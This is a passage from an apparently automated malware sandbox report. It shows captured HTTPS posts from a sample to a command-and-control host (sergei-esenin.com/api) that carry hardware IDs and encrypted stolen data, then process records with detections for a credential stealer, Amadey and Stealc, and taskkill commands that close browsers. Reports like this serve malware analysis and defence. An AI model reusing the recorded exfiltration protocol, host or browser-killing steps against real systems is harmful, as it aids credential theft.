2024-10-24 02:03:08 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-24 02:03:08 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1nh9d031sgle8aue5c1orb6ihq; expires=Sun, 16 Feb 2025 19:49:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ibzDe%2BFUvcKQwoFjCy4rRLjZ9lnLMLZgDxsBrG9lYhBambbnEe3eE8ViKodKnM%2BkG1HzABHFlLx%2FiUPwwZcClYqbRasbuJZrmhKxhY15qODQR4OWZJSqsSPNLNNYqjFzuD2y%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76637fbc762e1f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1377&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21458&delivery_rate=1948855&cwnd=241&unsent_bytes=0&cid=00386481528556b4&ts=560&x=0"
2024-10-24 02:03:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:03:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50090	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:09 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=TyNMefCBZ2p9Cvy6JvpQTewZXTKFzI.m452uR3zlsts-1729735382-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1233 Host: sergei-esenin.com
2024-10-24 02:03:09 UTC	1233	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:03:10 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=okqdov4q2oq0ddm5ms24cns18o; expires=Sun, 16 Feb 2025 19:49:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Dre8wt9wFKkeZ9XsWDKfMT4ZTUVFCz11DLINSMnv2lduuZtCeSv2PL%2B4kbjDmc3ssMO7o4XO9SkVpa55I3yhAfMFQHj11JP5g2s20jtqGJvOkXeUbmr%2BI2vcXYOERT85%2BDN8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76638a7ad93acc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1296&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2240&delivery_rate=2236293&cwnd=251&unsent_bytes=0&cid=56dd2678b71807a7&ts=732&x=0"
2024-10-24 02:03:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:03:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50091	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:11 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=TyNMefCBZ2p9Cvy6JvpQTewZXTKFzI.m452uR3zlsts-1729735382-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29583 Host: sergei-esenin.com
2024-10-24 02:03:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:03:11 UTC	14252	OUT	Data Raw: ab a7 e2 5f 1d 0c 10 f1 55 08 2a 40 d5 15 bc a3 14 96 1b 59 e7 f3 0d 82 16 5a 1a 87 f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf Data Ascii: _U*@YZanZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mD
2024-10-24 02:03:11 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s6pcvg7otuah42a589m5rgd9lq; expires=Sun, 16 Feb 2025 19:49:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fyWiaQmkqc3BL4oA9QrT57oBpp7BJMZiqLrB8gExr8x2b0L7hGHHDNGX%2F4fj73GIIyTqO4AkvHa9qZ1aJCjbGmstkxVqY4B%2FJ6zwcoxQPlJrpHqa6Zy6Ub0VG%2FzreslnBYrKkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7663939d932cc4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1429&sent=15&recv=36&lost=0&retrans=0&sent_bytes=2844&recv_bytes=30657&delivery_rate=1941018&cwnd=241&unsent_bytes=0&cid=a60c469348c704a1&ts=577&x=0"
2024-10-24 02:03:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:03:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50094	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:12 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=TyNMefCBZ2p9Cvy6JvpQTewZXTKFzI.m452uR3zlsts-1729735382-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 02:03:12 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=E778E74586DEFB106BE5B563633075C2
2024-10-24 02:03:12 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=il8aee8ikahq1lg871qau80oju; expires=Sun, 16 Feb 2025 19:49:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GpmOO5oVm5GNqp8Tpp%2Fe6Rc8pZW7zeZZN8hRgmRz5Lwq9Jcj%2BvtHFJYBi7%2FIlQOKYHGEfYapqukZzZ9mjO6OZtVatjDYwc3snyrc9J3W%2FCl%2BT4VKF6PGNABc4i5hY2rRwjoX7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76639ad8a76c01-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1260&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1077&delivery_rate=2273155&cwnd=239&unsent_bytes=0&cid=bba68947dbf605d9&ts=502&x=0"
2024-10-24 02:03:12 UTC	299	IN	Data Raw: 31 32 34 0d 0a 42 52 37 78 61 50 69 47 52 48 46 6c 78 38 33 45 4a 2b 77 79 72 74 53 7a 49 47 36 69 69 73 30 6e 69 6e 35 43 7a 49 72 6d 32 56 78 65 5a 64 4d 64 32 72 78 6d 47 52 47 7a 76 66 35 37 77 32 36 42 35 59 73 56 51 4a 43 37 2b 41 6d 37 54 33 48 69 75 39 43 46 63 32 68 33 6e 77 32 6b 71 54 59 51 43 36 4f 69 71 51 6d 4a 53 73 76 32 6e 77 49 49 31 71 6a 33 46 36 5a 63 4a 2b 36 77 31 71 52 77 66 6a 79 45 53 73 4b 6b 4c 41 55 52 74 2f 65 59 43 4c 41 64 6e 2b 79 47 44 6c 79 54 76 2b 4d 57 75 30 31 73 2f 62 79 36 39 69 39 78 65 35 41 46 70 4b 6b 32 45 41 75 6a 6f 71 6b 4a 69 55 72 4c 39 70 38 43 43 4e 61 6f 39 78 65 6d 58 43 66 75 73 4e 61 6b 63 48 34 38 68 45 72 43 70 43 77 46 45 62 66 33 6d 41 69 77 48 5a 2f 73 68 67 35 63 6b 37 2f 6a 46 72 74 4e 62 50 Data Ascii: 124BR7xaPiGRHFlx83EJ+wyrtSzIG6iis0nin5CzIrm2VxeZdMd2rxmGRGzvf57w26B5YsVQJC7+Am7T3Hiu9CFc2h3nw2kqTYQC6OiqQmJSsv2nwII1qj3F6ZcJ+6w1qRwfjyESsKkLAURt/eYCLAdn+yGDlyTv+MWu01s/by69i9xe5AFpKk2EAujoqkJiUrL9p8CCNao9xemXCfusNakcH48hErCpCwFEbf3mAiwHZ/shg5ck7/jFrtNbP
2024-10-24 02:03:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:01:24
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc30000
File size:	3'015'168 bytes
MD5 hash:	168A446710F2BAB46F3DA2D8A92008E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1459148229.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1477555129.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1446807409.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:01:45
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe"
Imagebase:	0x590000
File size:	1'895'936 bytes
MD5 hash:	4D78E942E639DF559486A8BCF5B3CDAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1589647149.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1635679717.0000000000591000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:01:47
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe"
Imagebase:	0x470000
File size:	1'918'464 bytes
MD5 hash:	7CEC6EEFC34F3702D47FA5A28CBBB929
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1600676886.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1688670034.0000000000471000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1690398993.000000000111E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:01:49
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5c0000
File size:	1'895'936 bytes
MD5 hash:	4D78E942E639DF559486A8BCF5B3CDAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.1688666080.00000000005C1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.1647906928.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:01:50
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe"
Imagebase:	0x410000
File size:	2'742'272 bytes
MD5 hash:	4B01B088DC9716204A408AD75CCEF360
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:01:50
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x5c0000
File size:	1'895'936 bytes
MD5 hash:	4D78E942E639DF559486A8BCF5B3CDAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1646501442.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:02:00
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5c0000
File size:	1'895'936 bytes
MD5 hash:	4D78E942E639DF559486A8BCF5B3CDAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.1769530723.00000000005C1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.1729250008.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:02:06
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"
Imagebase:	0x410000
File size:	3'015'168 bytes
MD5 hash:	168A446710F2BAB46F3DA2D8A92008E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:02:16
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe"
Imagebase:	0x50000
File size:	1'918'464 bytes
MD5 hash:	7CEC6EEFC34F3702D47FA5A28CBBB929
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.1883606041.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.1923946896.0000000000051000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:02:21
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe"
Imagebase:	0x950000
File size:	919'552 bytes
MD5 hash:	5ED9138AF4A937507DFDA5A5729F17BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:02:21
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x290000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:02:21
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:02:22
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"
Imagebase:	0x410000
File size:	3'015'168 bytes
MD5 hash:	168A446710F2BAB46F3DA2D8A92008E2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2084529738.0000000001193000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2068205912.0000000001190000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2043212378.0000000001190000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2082564120.0000000001191000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	22:02:23
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x290000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:02:23
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:02:24
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x290000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:02:24
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:02:24
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x290000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:02:24
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
